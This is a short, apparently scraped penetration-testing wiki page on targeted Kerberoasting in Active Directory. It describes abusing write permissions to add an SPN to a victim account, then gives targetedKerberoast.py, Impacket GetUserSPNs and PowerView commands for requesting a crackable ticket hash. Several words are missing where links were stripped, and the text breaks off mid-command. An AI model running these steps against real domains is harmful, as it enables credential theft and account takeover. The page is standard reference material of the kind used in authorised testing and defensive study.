Kerberoasting
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
This abuse can be carried out when controlling an object that has a GenericAll
, GenericWrite
, WriteProperty
or Validated-SPN
over the target. A member of the group usually has those permissions.
The attacker can add an SPN (ServicePrincipalName
) to that account. Once the account has an SPN, it becomes vulnerable to .
Once the Kerberoast hash is obtained, it can possibly be to recover the account's password if the password used is weak enough.
Alternative #1: targetedKerberoast.py (Python)
targetedKerberoast.py -v -d $DOMAIN_FQDN -u $USER -p $PASSWORD
Alternative #2: Using Impacket.
impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
impacket-GetUserSPNs -request -dc-ip <DC_IP>
From Windows machines, this can be achieved with Set-DomainObject and Get-DomainSPNTicket (PowerView module).
# Make sur that the target account has no SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname
# Set the SPN
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}
# Obtain a kerberoast hash
$User =